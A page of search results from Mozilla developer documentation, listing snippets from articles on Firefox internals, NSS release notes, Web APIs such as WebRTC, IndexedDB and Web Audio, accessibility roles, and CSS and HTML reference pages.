... this is useful in such cases where we have an <input> being used with no corresponding html text that could be turned into a label.
...And 12 more matches
Continuous Integration
when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure.
... taskcluster and treeherder taskcluster, mozilla's continuous integration (ci) system picks up changes pushed to hg.
... when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits).
...And 12 more matches
Interface Compatibility
as we add new features to the web and to our applications, programming interfaces change.
... the rules which govern interface changes are different depending on the consumers and the languages involved.
... web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option.
...And 12 more matches
Listening to events on all tabs
removing a listener to remove a previously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes.
... void onlocationchange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequest arequest, nsiuri alocation [optional] in unsigned long aflags ); parameters abrowser the browser representing the tab whose location changed.
... aflags optional: this is a value which explains the situation or the reason why the location has changed.
...And 12 more matches
Performance
this highlights some performance pitfalls related to frame scripts/message manager usage and alternative approaches to avoid them.
... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
...and since frame scripts get evaluated for each tab this means new function objects get instantiated, new constants get computed, block scopes must be set up etc.
...And 12 more matches
Localization formats
there are 4 main approaches to web l10n with regards to the choice of technology used for localization logic: html/php .lang gettext (.po) wiki (tbd) the choice of the filetype depends on a couple of factors: how much content is there to be localized?
... how often, if at all, the site will be updated after the launch?
...you may choose to present just the html for localization: we give an html file which lists several pieces of content like, <h1>getting started</h1> and the localizer translates to <h1>débuter avec firefox</h1> the localizer then submits the translated html or php back to us by either checking in changes to svn or sending us a patch that pascal checks in.
...And 12 more matches
Activity Monitor, Battery Status Menu and top
they can all be customized to show any of the available measurements (by right-clicking on the column strip) but only the "energy" tab groups child processes with parent processes, which is useful, so it's the best one to use.
...task_power_info::task_platform_idle_wakeups obtained from the task_info function.) in mac os 10.10 it appears to have been changed to measure interrupt-level wakeups (a superset of idle wakeups), which are less interesting.
...this column indicates which gpu is being used.
...And 12 more matches
A brief guide to Mozilla preferences
preference changes via user interface usually take effect immediately.
... on application launch, several preferences files are loaded.
... preferences in several files, all in the application directory: greprefs.js - preferences shared by all applications using the mozilla platform services/common/services-common.js - preferences for some shared services code, this should arguably be included in some other file defaults/pref/services-sync.js - default preferences for firefox sync, also oddly misplaced browser/app/profile/channel-prefs.js - a file indicating the user's update channel.
...And 12 more matches
NSS Certificate Download Specification
pkcs#7 certificate chain: this is a single pkcs#7 signeddata object.
... the only significant field in the signeddata object is the certificates field, which may contain multiple certificates to be imported together.
...the content field is the following asn.1 structure: certificatesequence ::= sequence of certificate see the section below on certificate chains for more information about how multiple certificates are handled.
...And 12 more matches
NSS 3.14 release notes
introduction the nss team has released network security services (nss) 3.14, which is a minor release with the following new features: support for tls 1.1 (rfc 4346) experimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default.
... the nss license has changed to mpl 2.0.
...new in nss 3.14 the sections that follow discuss specific changes in nss 3.14 in more detail.
...And 12 more matches
NSS 3.28 release notes
introduction the network security services (nss) team has released nss 3.28, which is a minor release.
... this includes the early key exporter, which can be used if 0-rtt is enabled.
... nss includes support for the x25519 key exchange algorithm (bug 957105), which is supported and enabled by default in all versions of tls.
...And 12 more matches
NSS_3.12.3_release_notes.html
nss 3.12.3 release notes 2009-04-01 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.3 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.3 is a patch release for nss 3.12.
...the tar.gz or zip file expands to an nss-3.12.3 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.4 binary distributions to get the nspr 4.7.4 header files and shared libraries, which nss 3.12.3 requires.
... new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources.
...And 12 more matches
Rhino Debugger
note that this debugger will not work with javascript scripts run in the mozilla browser since rhino is not the engine used in such environments.
...the debugger is itself a java program which you may run as java org.mozilla.javascript.tools.debugger.main [options] [filename.js] [script-arguments] where the options are the same as the shell.
... console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an editable command line for you to enter javascript code and view system output.
...And 12 more matches
Setting up an update server
downloading a mar prebuilt nightly mars can be found here on archive.mozilla.org.
... be sure that you use the one that matches your machine's configuration.
... for example, if you want the nightly mar from 2019-09-17 for a 64 bit windows machine, you probably want the mar located at https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar.
...And 12 more matches
Gecko states
indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected.
... applied to: role_menuitem, role_cell, role_outlineitem, xxx: continue events: event_state_change Сoncomitant state: state_selectable state_focused the object is focused applied to: events: concomitant state: state_focusable state_pressed the object is pressed.
... state_checked the object is checked state_mixed indicates that the state of a three-state check box or toolbar button is not determined.
...And 12 more matches
Detailed XPCOM hashtable guide
each item has a key that identifies the item.
...good hashtable implementations will automatically resize the hashtable in memory if extra space is needed, or if too much space has been allocated.
... mozilla's hashtable implementations mozilla has several hashtable implementations, which have been tested and, tuned, and hide the inner complexities of hashtable implementations: pldhash - low-level c api; stores keys and data in one large memory structure; uses the heap efficiently; client must declare an "entry class" and may not hold onto entry pointers.
...And 12 more matches
IAccessible2
1.0 66 introduced gecko 1.9 inherits from: iaccessible last changed in gecko 1.9 (firefox 3) method overview [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole...
...rollto([in] enum ia2scrolltype scrolltype ); hresult scrolltopoint([in] enum ia2coordinatetype coordinatetype, [in] long x, [in] long y ); [propget] hresult states([out] accessiblestates states ); [propget] hresult uniqueid([out] long uniqueid ); [propget] hresult windowhandle([out] hwnd windowhandle ); methods attributes() returns the attributes specific to this iaccessible2 object, such as a cell's formula.
...an extended role is a role which is dynamically generated by the application.
...And 12 more matches
nsIDownloadManager
toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/download-manager;1.
...load adddownload(in short adownloadtype, in nsiuri asource, in nsiuri atarget, in astring adisplayname, in nsimimeinfo amimeinfo, in prtime astarttime, in nsilocalfile atempfile, in nsicancelable acancelable, in boolean aisprivate); void addlistener(in nsidownloadprogresslistener alistener); void canceldownload(in unsigned long aid); void cleanup(); void endbatchupdate(); obsolete since gecko 1.9.1 void flush(); obsolete since gecko 1.8 nsidownload getdownload(in unsigned long aid); void onclose(); obsolete since gecko 1.9.1 void open(in nsidomwindow aparent, in nsidownload adownload); obsolete since gecko 1.9.1 void openprogressdialogfor(in nsidownload adownload, in nsidomwindow aparent, in boolean acanceldow...
...And 12 more matches
nsINavHistoryQueryOptions
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) method overview nsinavhistoryqueryoptions clone(); attributes attribute type description applyoptionstocontainers boolean if true, the query options are only applied to the containers.
... asyncenabled boolean when true, the root container node generated by these options and all of its descendant containers are opened asynchronously if they support doing so.
... note: currently, only bookmark folder containers support being opened asynchronously.
...And 12 more matches
nsIProcessScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used by parent process message managers to load scripts into a child process.
... methods void loadprocessscript(in astring aurl, in boolean aallowdelayedload) void removedelayedprocessscript(in astring aurl); jsval getdelayedprocessscripts(); loadprocessscript() load a script in the child process.
... if this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes.
...And 12 more matches
nsIPushService
inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) push lets a remote server send payloads to a web site, add-on, or component running in the browser.
... void subscribe( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique url (for example, chrome://my-module/push) for a system subscription.
... passing the system principal exempts the subscription from permission checks and background messages quotas, which are enforced for service worker subscriptions.
...And 12 more matches
nsIWebProgress
the nsiwebprogress interface is used to add or remove nsiwebprogresslistener instances to observe the loading of asynchronous requests (usually in the context of a dom window).
... nsiwebprogress instances may be arranged in a parent-child configuration, corresponding to the parent-child configuration of their respective dom windows.
...the parent-child relationship of nsiwebprogress instances is not made explicit by this interface, but the relationship may exist in some implementations.
...And 12 more matches
nsIXULTemplateQueryProcessor
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) a query processor takes a template query and generates results for it given a datasource and a reference point.
...the reference point is important when generating output recursively, as the query will be the same for each iteration, however, the reference point will differ.
... for instance, when examining an xml source, an xml query processor might begin at the node referred by the reference variable and end at a list of that node's children.
...And 12 more matches
XPCOM
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
...xpcom is mozilla’s cross platform component object model, similar to microsoft’s com technology.
...And 12 more matches
XUL Overlays
MozillaTechXULOverlays
overlays provide a general mechanism for: adding ui for additional components, as described in the example above overriding small pieces of a xul file without having to resupply the whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document.
... though there is no formal restriction on what kind of xul content is located in "base" xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components.
...inserting the following processing instruction before the doctype declaration in a base file tells the layout engine to load the named overlay file: <?xul-overlay href="chrome://component/content/componentoverlay.xul"?> where component is the name of the package being overlayed (e.g., chrome://navigator/content/navigatoroverlay.xul).
...And 12 more matches
Initialization and Destruction - Plugins
« previousnext » this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
... this chapter ends with initialize and shutdown example, which includes the np_initialize and np_shutdown methods.
... nperror np_initialize(void) { }; after the last plug-in instance is deleted, the browser calls np_shutdown, which releases the memory or resources allocated by np_initialize.
...And 12 more matches
Debugger-API - Firefox Developer Tools
the debugger interface mozilla’s javascript engine, spidermonkey, provides a debugging interface named debugger which lets javascript code observe and manipulate the execution of other javascript code.
...however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on.
... debugger has three essential qualities: it is a source level interface: it operates in terms of the javascript language, not machine language.
...And 12 more matches
Dominators view - Firefox Developer Tools
it looks something like this: the dominators view consists of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining paths for a single node.
... dominators tree panel the dominators tree tells you which objects in the snapshot are retaining the most memory.
...for example: variables allocated on the stack need to be rooted, or internal caches may need to root their​ elements.
...And 12 more matches
Style Editor - Firefox Developer Tools
the style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option from the "web developer" menu (which is a submenu in the "tools" menu on the mac).
...you can save any changes you've made to the style sheet to your local computer by clicking the save button in the bottom-right corner of each sheet's entry in the list.
...any changes you make are immediately applied to the page.
...And 12 more matches
AudioListener - Web APIs
this is why these values are not marked read only, which is how they appear in the specification's idl.
...the forward and up values are linearly independent of each other.
...the forward and up values are linearly independent of each other.
...And 12 more matches
AudioNode - Web APIs
WebAPIAudioNode
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family...
...="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface.
... description the audio routing graph each audionode has inputs and outputs, and multiple audio nodes are connected to build a processing graph.
...And 12 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc.
... we define the fillstyle as being hsla(55, 90%, 60%, 1.0), which is a shade of yellow, and then call fillrect() to create a rectangle of that color.
... using the paint worklet to use the paint worklet, we need to register it using addmodule() and include it in our css, ensuring the css selector matches a dom node in our html registering the worklet the setup and design of our paint worklet took place in the external script shown above.
...And 12 more matches
ConstantSourceNode - Web APIs
the constantsourcenode interface—part of the web audio api—represents an audio source (based upon audioscheduledsourcenode) whose output is single unchanging value.
... this makes it useful for cases in which you need a constant value coming in from an audio source.
... a constantsourcenode has no inputs and exactly one monaural (one-channel) output.
...And 12 more matches
Detecting device orientation - Web APIs
increasingly, web-enabled devices are capable of determining their orientation; that is, they can report data indicating changes to their orientation with relation to the pull of gravity.
... in particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height.
...the first one is the deviceorientationevent, which is sent when the accelerometer detects a change to the orientation of the device.
...And 12 more matches
DocumentFragment - Web APIs
changes made to the fragment don't affect the document (even on reflow) or incur any performance impact when changes are made.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/documentfragment" target="_top"><rect x="266" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documentfragment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor documentfragment() creates and returns a new documentfragment object.
...And 12 more matches
Element.requestFullscreen() - Web APIs
the element.requestfullscreen() method issues an asynchronous request to make the element be displayed in full-screen mode.
...if permission to enter full screen mode is granted, the returned promise will resolve and the element will receive a fullscreenchange event to let it know that it's now in full screen mode.
...if the element has been detached from the original document, then the document receives these events instead.
...And 12 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
the filesystemdirectoryentry interface's method getdirectory() returns a filesystemdirectoryentry object corresponding to a directory contained somewhere within the directory subtree rooted at the directory on which it's called.
... syntax filesystemdirectoryentry.getdirectory([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring representing an absolute path or a path relative to the directory on which the method is called, describing which directory entry to return.
... options optional an object based on the filesystemflags dictionary, which allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists.
...And 12 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
} the filesystemdirectoryentry interface's method getfile() returns a filesystemfileentry object corresponding to a file contained somewhere within the directory subtree rooted at the directory on which it's called.
... syntax filesystemdirectoryentry.getfile([path][, options][, successcallback][, errorcallback]); parameters path optional a usvstring specifying the path, relative to the directory on which the method is called, describing which file's entry to return.
... options optional an object based on the filesystemflags dictionary, which allows you to specify whether or not to create the entry if it's missing and if it's an error if the file already exists.
...And 12 more matches
FileSystemFlags - Web APIs
the filesystemflags dictionary defines a set of values which are used when specifying option flags when calling certain methods in the file and directory entries api.
... methods which accept an options parameter of this type may specify zero or more of these flags as fields in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there.
... values and results the table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists.
...And 12 more matches
GestureEvent - Web APIs
the gestureevent is a proprietary interface specific to webkit which gives information regarding multi-touch gestures.
... events using this interface include gesturestart, gesturechange, and gestureend.
... gestureevent derives from uievent, which in turn derives from event.
...And 12 more matches
HTMLImageElement.sizes - Web APIs
the htmlimageelement property sizes allows you to specify the layout width of the image for each of a list of media conditions.
... this provides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions.
... each condition is specified using the same conditional format used by media queries.
...And 12 more matches
IDBFactory - Web APIs
the idbfactory interface of the indexeddb api lets applications asynchronously access the indexed databases.
... idbfactory.cmp a method that compares two keys and returns a result indicating which one is greater in value.
...this is used a lot later on, for opening transactions and suchlike.
...And 12 more matches
IDBKeyRange - Web APIs
action = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status comment indexed database api 2.0the definition of 'idbkeyrange' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbkeyrangechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...And 12 more matches
Using the MediaStream Recording API - Web APIs
this article aims to provide a basic guide on how to use the mediarecorder interface, which provides this api.
... keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon starts to make you think "wow, why didn't we have this before?
...we wanted to give the first two (the header and the controls) fixed heights: header { height: 70px; } .main-controls { padding-bottom: 0.7rem; height: 170px; } however, we wanted to make the third area (which contains the recorded samples you can play back) take up whatever space is left, regardless of the device height.
...And 12 more matches
Microdata DOM API - Web APIs
each item is represented in the dom by the element on which the relevant itemscope attribute is found.
...when called, the method must return a live nodelist object containing all the elements in the document, in tree order, that are each top-level microdata items whose types include all the types specified in the method's argument, having obtained the types by splitting the string on spaces.
... can be set, to change the element's value.
...And 12 more matches
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
the ovr_multiview2.framebuffertexturemultiviewovr() method of the webgl api attaches a multiview texture to a webglframebuffer.
... syntax void ext.framebuffertexturemultiviewovr(target, attachment, texture, level, baseviewindex, numviews); parameters target a glenum specifying the binding point (target).
... attachment a glenum specifying the attachment point for the texture.
...And 12 more matches
RTCPeerConnection.createOffer() - Web APIs
the sdp offer includes information about any mediastreamtracks already attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection.
... the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescription object containing the newly-created offer.
... offertoreceiveaudio optional (legacy) a legacy boolean option which used to control whether or not to offer to the remote peer the opportunity to try to send audio.
...And 12 more matches
RTCPeerConnection.setLocalDescription() - Web APIs
the rtcpeerconnection method setlocaldescription() changes the local description associated with the connection.
...the method takes a single parameter—the session description—and it returns a promise which is fulfilled once the description has been changed, asynchronously.
... if setlocaldescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions).
...And 12 more matches
SubtleCrypto.verify() - Web APIs
it returns a promise which will be fulfilled with a boolean value indicating whether the signature is valid.
... syntax const result = crypto.subtle.verify(algorithm, key, signature, data); parameters algorithm is a domstring or object defining the algorithm to use, and for some algorithm choices, some extra parameters.
... the values given for the extra parameters must match those passed into the corresponding sign() call.
...And 12 more matches
Adding 2D content to a WebGL context - Web APIs
vertex shader each time a shape is rendered, the vertex shader is run for each vertex in the shape.
... its job is to transform the input vertex from its original coordinate system into the clip space coordinate system used by webgl, in which each axis has a range from -1.0 to 1.0, regardless of aspect ratio, actual size, or any other factors.
... // vertex shader program const vssource = ` attribute vec4 avertexposition; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; void main() { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; } `; it's worth noting that we're using a vec4 attribute for the vertex position, which doesn't actually use a 4-component vector; that is, it could be handled as a vec2 or vec3 depending on the situation.
...And 12 more matches
Using IIR filters - Web APIs
it also provides a canvas on which is drawn the frequency response of the audio, so you can see what effect the iir filter has.
... you can check out the full demo here on codepen.
...it includes some different coefficient values for different lowpass frequencies — you can change the value of the filternumber constant to a value between 0 and 3 to check out the different available effects.
...And 12 more matches
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract frequency, waveform, and other data from your audio source, which can then be used to create visualizations.
... note: you can find working examples of all the code snippets in our voice-change-o-matic demo.
... basic concepts to extract data from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work, as long as the input is connected to the source, either directly or via another node.
...And 12 more matches
ARIA Screen Reader Implementors Guide - Accessibility
live region markup is a complex area which is somewhat open to interpretation.
...interpreting wai-aria live region markup live changes are hints: in general live region markup is provided by the author as hints, and the assistive technology may allow for global, site or even region-specific settings, as well as heuristics to help with live changes on pages that have no wai-aria hints.
... optionally, create a second, additional queue if the user configures a second hardware channel: if there are two channels for presentation (e.g.
...And 12 more matches
ARIA: row role - Accessibility
each row contains child cells.
...this is not the case for an ordinary table or grid, in which the aria-expanded attribute is not present.
...if the interaction provides for the selection state of individual cells, if left to right and top to botton navigation is provided, or if the user interface allows the rearranging of cell order or otherwise changing individual cell order such as through drag and drop, use grid or treegrid instead.
...And 12 more matches
ARIA: textbox role - Accessibility
description when an element has the textbox role, the browser sends an accessible textbox event to assistive technologies, which can then notify the user about it.
... the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text".
... to create a multi-line text box which supports line breaks, as in an html <textarea>, set aria-multiline="true".
...And 12 more matches
Alerts - Accessibility
the problem you have a form — a contact form, for example — that you want to put some accessible error checking into.
... examples of common problems include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname.
... the form first, please read about the aria-required technique if you have not done so, as this technique expands upon that.
...And 12 more matches
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
in addition to the ability to place items accurately onto a created grid, the css grid layout specification contains rules that control what happens when you create a grid and do not place some or all of the child items.
...if you give the items no placement information they will position themselves on the grid, one in each grid cell.
...-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> default rules for auto-placement as you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell.
...And 12 more matches
Basic Shapes - CSS: Cascading Style Sheets
css shapes can be defined using the <basic-shape> type, and in this guide i’ll explain how each of the different values accepted by this type work.
...this type uses functional notation: the type of shape is followed by brackets, inside of which are additional values used to describe the shape.
... the arguments which are accepted vary depending on the shape that you are creating.
...And 12 more matches
background-position - CSS: Cascading Style Sheets
the background-position css property sets the initial position for each background image.
... syntax /* keyword values */ background-position: top; background-position: bottom; background-position: left; background-position: right; background-position: center; /* <percentage> values */ background-position: 25% 75%; /* <length> values */ background-position: 0 0; background-position: 1cm 2cm; background-position: 10ch 8em; /* multiple images */ background-position: 0 0, center; /* edge offsets values */ background-position: bottom 10px right 20px; background-position: right 3em bottom 10px; background-position: bottom 10px right; background-position: top right 10px; /* global values */ background-position: inherit; background-position: initial; background-position: unset; the background-position property ...
... 1-value syntax: the value may be: the keyword value center, which centers the image.
...And 12 more matches
conic-gradient() - CSS: Cascading Style Sheets
example conic gradients include pie charts and color wheels.
... the result of the conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
...the length defines at which point between two color stops the gradient color should reach the midpoint of the color transition.
...And 12 more matches
justify-self - CSS: Cascading Style Sheets
ble cell layouts, this property is ignored (more about alignment in block, absolute positioned and table layout) in flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns an item inside its grid area on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-self: auto; justify-self: normal; justify-self: stretch; /* positional alignment */ justify-self: center; /* pack item around the center */ justify-self: start; /* pack item from the start */ justify-self: end; /* pack item from the end */ justify-self: flex-start; /* equivalent to 'start'.
...-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
...And 12 more matches
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of min-width with table undefined.
...opera supports applying min-width to table elements.safari full support 1webview android full support 4.4chrome android full support 18firefox android full support 4notes full support 4notes notes css 2.1 leaves the behavior of min-width with table undefined.
...And 12 more matches
Event developer guide - Developer guides
WebGuideEvents
events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.
... the overview page provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.
...unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.
...And 12 more matches
Developer guides
these articles provide how-to information to help make use of specific web technologies and apis.
...this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers.
... audio and video manipulation the beauty of the web is that you can combine technologies to create new forms.
...And 12 more matches
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
if the attribute is not present: zero or more <col> element tag omission the start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted.
... align this enumerated attribute specifies how horizontal alignment of each column cell content will be handled.
... possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes.
...And 12 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
it is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status.
... notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()) makes the referrer behaviour unpredictable.
... standard metadata names defined in other specifications the css color adjustment specification defines the following metadata name: color-scheme: specifies one or more color schemes with which the document is compatible.
...And 12 more matches
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
set margin-left and margin-right to auto or margin to 0 auto to achieve an effect that is similar to the align attribute.
... to achieve a similar effect, use the css background-color property.
... to achieve a similar effect, use the css border shorthand property.
...And 12 more matches
HTML: Hypertext Markup Language
WebHTML
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript).
...html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others.
... an html element is set off from other text in a document by "tags", which consist of the element name surrounded by "<" and ">".
